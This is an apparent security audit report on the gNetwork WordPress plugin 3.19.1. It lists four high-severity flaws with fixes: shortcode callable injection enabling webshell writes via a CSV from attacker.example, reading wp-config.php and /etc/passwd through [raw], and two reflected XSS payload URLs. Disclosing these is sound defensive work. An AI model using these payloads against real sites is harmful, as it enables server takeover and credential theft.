gNetwork WP Registry grade D+. High-severity findings · 4 findingsWP RegistryHigh-severity findings · 4 findingsOpen the reportD+

High-severity findings.

Audited release

3.19.1

Findings

4

Worst severity

high

Content hash

ef2b346dcc69f25a78581e7d… Copy

Findings

• high Author+ shortcodes invoke attacker-chosen PHP callables (arbitrary file write / RCE)

  rce

  The ShortCodes module has no register_shortcodes option, so Module::register_shortcodes() keeps the pack enabled (get_option($key, TRUE)). [csv] accepts cb_title/cb_data; if is_callable() they are invoked as call_user_func_array($cb, [cell_or_header, ...]) for every CSV row. [in-term] does the same with cb and passes the WP_Post. WordPress lets Contributor/Author put shortcodes in post_content without unfiltered_html. A published post such as [csv url="https://attacker.example/pwn.csv" cb_data="file_put_contents"] makes the frontend request the CSV (wp_safe_remote_get) then call file_put_contents($cell, $column, ...) — PHP 8.3 coerces the dummy third argument — writing a webshell under wp-content/uploads, or cb_data="update_option" to set default_role/users_can_register. Viewing the post as any visitor (including unauthenticated) executes the callable as the web user. Elevated: Author is below manage_options.

  includes/Modules/ShortCodes.php:108-145,387-468,1363-1465

  Recommendation

  Do not accept user-supplied PHP callables in shortcode attributes. Remove cb/cb_title/cb_data from the public shortcode atts (keep them as internal filters only). Restrict [csv] URLs to the media library. Gate these shortcodes behind a capability (e.g. unfiltered_html / manage_options) or disable them by default.

• high [raw]/[markdown] shortcodes read arbitrary local files and echo unescaped content

  file_access

  [raw] and [markdown] take path (relative to attacker-controlled base, default ABSPATH) or url and pass them to Core\File::getContents() which is a thin file_get_contents() wrapper with no scheme/allowlist check. File::exists() concatenates base+path with no realpath jail, so [raw path="wp-config.php"], [raw path="etc/passwd" base="/"], [raw url="file:///etc/passwd"], and php://filter wrappers all work for any role that can publish a shortcode (Author+; Contributor pending review). [raw] then does HTML::tag('pre', $text) which interpolates $text unescaped (stored XSS if the file/URL contains HTML). [markdown] runs ParsedownExtra::text() without setMarkupEscaped(true), so remote markdown can include raw <script>. Observable: publish the shortcode, view the post as a guest, read DB credentials or execute script in the visitor's browser.

  includes/Modules/ShortCodes.php:1237-1301

  Recommendation

  Remove path/base/url from these shortcodes or restrict them to attachment IDs in the uploads directory after realpath() + str_starts_with(WP_CONTENT_DIR). Use wp_safe_remote_get for http(s) only. Escape [raw] output with esc_html() and enable Parsedown markup escaping / wp_kses_post on markdown HTML.

• high Reflected XSS via unescaped admin ?message= on the gNetwork extras screen

  xss_reflected

  Admin::settings_page / tools_page call Settings::message() after cucSub(). For sub=overview, cucSub() returns TRUE with no capability. Users without manage_options still get a 'read' submenu at index.php?page=gnetwork (Subscriber+). If $_GET['message'] is not a known key, the raw query value is passed to HTML::warning() → HTML::notice() → HTML::tag() as element content with no escaping. A Subscriber, or an admin clicking a crafted link, can execute HTML/JS in wp-admin, e.g. index.php?page=gnetwork&message=<img src=x onerror=alert(1)>. The prebuilt 'huh' message also concatenates $_REQUEST['huh'] unescaped.

  includes/Settings.php:144,213-226

  Recommendation

  Only accept an allowlisted message key. Never echo $_GET['message'] or $_REQUEST['huh'] as HTML. Use esc_html() if a fallback string is required. Do not treat overview as an unauthenticated-capability page for arbitrary query output.

• high JSON Feed JSONP callback is unauthenticated reflected XSS when enabled

  xss_reflected

  If the Feed module option json_feed is enabled (default 0, one-click in settings), the plugin registers a public 'json' feed and a 'callback' query var. includes/Layouts/feed.json.php takes get_query_var('callback'), runs only esc_html() (does not strip parentheses/semicolons), sets Content-Type: application/x-javascript, and echoes {$callback}({$json});. An unauthenticated visitor can load /?feed=json&callback=alert(document.domain) or include that URL as a <script src> on an attacker origin (JSONP). esc_html is the wrong sink for a JavaScript identifier.

  includes/Layouts/feed.json.php:76-82

  Recommendation

  Drop JSONP entirely, or allow only a strict /^[A-Za-z_][A-Za-z0-9_]*$/ identifier and never echo attacker punctuation. Prefer application/json with no callback wrapper.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.